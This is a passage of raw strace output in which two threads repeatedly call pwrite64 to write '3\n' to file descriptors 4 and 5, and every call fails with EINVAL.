[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
